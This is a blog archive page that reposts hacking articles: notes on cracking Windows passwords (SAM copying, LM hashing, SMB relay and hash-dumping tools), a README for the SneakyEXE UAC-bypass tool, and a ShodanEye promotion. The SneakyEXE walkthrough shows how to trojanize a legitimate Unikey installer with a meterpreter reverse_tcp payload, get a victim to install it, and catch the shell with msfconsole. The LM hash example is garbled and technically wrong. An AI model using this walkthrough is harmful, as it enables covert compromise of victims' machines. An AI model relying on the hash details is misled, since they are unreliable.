JUEZ JUSTO: agosto 2020

JUEZ JUSTO

Passwords are the key element of information require to access the system. Similarly, the first step is to access the system is that you should know how to crack the password of the target system. There is a fact that users selects passwords that are easy to guess. Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Cracking a Password

Passwords are stored in the Security Accounts Manager (SAM) file on a Windows system and in a password shadow file on a Linux system.

Manual password cracking involves attempting to log on with different passwords. The hacker follows these steps:

Find a valid user account (such as Administrator or Guest).
Create a list of possible passwords.
Rank the passwords from high to low probability.
Key in each password.
Try again until a successful password is found.

A hacker can also create a script file that tries each password in a list. This is still considered manual cracking, but it's time consuming and not usually effective.

A more efficient way of cracking a password is to gain access to the password file on a system. Most systems hash (one-way encrypt) a password for storage on a system. During the logon process, the password entered by the user is hashed using the same algorithm and then compared to the hashed passwords stored in the file. A hacker can attempt to gain access to the hashing algorithm stored on the server instead of trying to guess or otherwise identify the password. If the hacker is successful, they can decrypt the passwords stored on the server.

Understanding the LAN Manager Hash

Windows 2000 uses NT LAN Manager (NTLM) hashing to secure passwords in transit on the network. Depending on the password, NTLM hashing can be weak and easy to break. For example, let's say that the password is 123456abcdef . When this password is encrypted with the NTLM algorithm, it's first converted to all uppercase: 123456ABCDEF . The password is padded with null (blank) characters to make it 14 characters long: 123456ABCDEF__ . Before the password is encrypted, the 14-character string is split in half: 123456A and
BCDEF__ . Each string is individually encrypted, and the results are concatenated:

123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15

The hash is 6BF11E04AFAB197FF1E9FFDCC75575B15 .

Cracking Windows 2000 Passwords

The SAM file in Windows contains the usernames and hashed passwords. It's located in the Windows\system32\config directory. The file is locked when the operating system is running so that a hacker can't attempt to copy the file while the machine is booted to Windows.

One option for copying the SAM file is to boot to an alternate operating system such as DOS or Linux with a boot CD. Alternately, the file can be copied from the repair directory. If a system administrator uses the RDISK feature of Windows to back up the system, then a compressed copy of the SAM file called SAM._ is created in C:\windows\repair . To expand this file, use the following command at the command prompt:

C:\>expand sam._ sam

After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against the SAM file using a tool like L0phtCrack. A similar tool to L0phtcrack is Ophcrack.

Download and install ophcrack from http://ophcrack.sourceforge.net/

Redirecting the SMB Logon to the Attacker

Another way to discover passwords on a network is to redirect the Server Message Block (SMB) logon to an attacker's computer so that the passwords are sent to the hacker. In order to do this, the hacker must sniff the NTLM responses from the authentication server and trick the victim into attempting Windows authentication with the attacker's computer.

A common technique is to send the victim an email message with an embedded link to a fraudulent SMB server. When the link is clicked, the user unwittingly sends their credentials over the network.

SMBRelay

An SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle (MITM) attacks.

SMBRelay2

Similar to SMBRelay but uses NetBIOS names instead of IP addresses to capture usernames and passwords.

pwdump2

A program that extracts the password hashes from a SAM file on a Windows system. The extracted password hashes can then be run through L0phtCrack to break the passwords.

Samdump

Another program that extracts NTLM hashed passwords from a SAM file.

C2MYAZZ

A spyware program that makes Windows clients send their passwords as clear text. It displays usernames and their passwords as users attach to server resources.

NetBIOS DoS Attacks

A NetBIOS denial-of-service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS Name Service on a target Windows systems and forces the system to place its name in conflict so that the name can no longer be used. This essentially blocks the client from participating in the NetBIOS network and creates a network DoS for that system.

Start with a memorable phrase, such as "Maryhadalittlelamb"
Change every other character to uppercase, resulting in "MaRyHaDaLiTtLeLaMb"
Change a to @ and i to 1 to yield "M@RyH@D@L1TtLeL@Mb"
Drop every other pair to result in a secure repeatable password or "M@H@L1LeMb"

Now you have a password that meets all the requirements, yet can be "remade" if necessary. Related word

JUEZ JUSTO

About SneakyEXE
SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

SneakyEXE was tested on:

Windows 7, 8, 10 (64 bit)
Parrot Security OS 4.7

Requirements of SneakyEXE:

For Linux: Architecture: Optional
Python 3.7.x: Yes
Module: termcolor
Distro: Any
Distro version: Any
For Windows: Architecture: x86_64
Python 3.7.x: No
Module: No
Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
You must install Python 3 first:

For Debian-based distros: sudo apt install python3
For Arch Linux based distros: sudo pacman -S python3

And then, open your Terminal and enter these commands:

SneakyEXE's Installtion for Windows

Download SneakEXE-master zip file.
Unzip it into your optional directory.
Change dir to \SneakyEXE\Win32\.
Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
(Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)

NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
I dowloaded Unikey from Unikey.org.
And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

and wait...

Disclaimer:

This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Download SneakyEXE

Related articles

JUEZ JUSTO

About ShodanEye
This tool collects all information about all devices that are directly connected to the internet with the specified keywords that you enter. This way you get a complete overview.

Here you can read the latest article about Shodan Eye: Shodan Eye Ethical Hacking Tool Release

The types of devices that are indexed can vary enormously: from small desktops, refrigerators to nuclear power plants and everything in between. You can find everything using "your own" specified keywords. Examples can be found in a file that is attached:

The information obtained with this tool can be applied in many areas, a small example:

Network security, keep an eye on all devices in your company or at home that are confronted with internet.

Vulnerabilities. And so much more.

For additional data gathering, you can enter a Shodan API key when prompted. A Shodan API key can be found here.

Shodan Eye Ethical Hacking Tool Release
Before we start the year 2020, today there is a new big release ..! Please note, if you have already installed Shodan Eye on your computer, then it is worthwhile to read it carefully. Of course, even if you don't know this Shodan tool yet:

Shodan Eye goes from Python 2 to Python 3

Save the output of the Shodan Eye results

The entry of the Shodan password is no longer visible.

About Shodan Search Engine
Shoan is a search engine that lets the user find specific types of computers (webcams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client.

What is the difference between Google or another search engine: The most fundamental difference is that Shodan Eye crawls on the internet, Google on the World Wide Web. However, the devices that support the World Wide Web are only a small part of what is actually connected to the Internet.

Before use this tool, you should note that:

This was written for educational purpose and pentest only.

The author will not be responsible for any damage ..!

The author of this tool is not responsible for any misuse of the information.

You will not misuse the information to gain unauthorized access.

This information shall only be used to expand knowledge and not for causing malicious or damaging attacks.

Performing any hacks without written permission is illegal..!

ShodanEye's screenshots:

ShodanEye Installation
If you're using GNU/Linux, open your terminal and enter these commands:

If you're a Windows user, follow these steps to install ShodanEye:

Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.

Download shodan-eye-master.zip file.>

Then unzip it.

Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:

pip install shodan
python shodan-eye.py

Video Shodan Eye on YouTube:

Contact to the author:

Website: HackingPassion.com

Facebook Personal: jolandadekoff

Facebook Page: Ethical Hacking

Facebook Group: Hacking Passion

Linkedin: jolandadekoff

Youtube channel: HackingPassion Jolanda de Koff Bulls Eye

Download ShodanEye

Related word

JUEZ JUSTO

lunes, 31 de agosto de 2020

CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks

Cracking a Password

Understanding the LAN Manager Hash

Cracking Windows 2000 Passwords

Redirecting the SMB Logon to the Attacker

SMBRelay

SMBRelay2

pwdump2

Samdump

C2MYAZZ

NetBIOS DoS Attacks

domingo, 30 de agosto de 2020

SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

ShodanEye: Collect Infomation About All Devices Connected To The Internet With Shodan

How To Install Metasploit In Termux

Related articles

Datos personales

VISITAS

Archivo del blog

Seguidores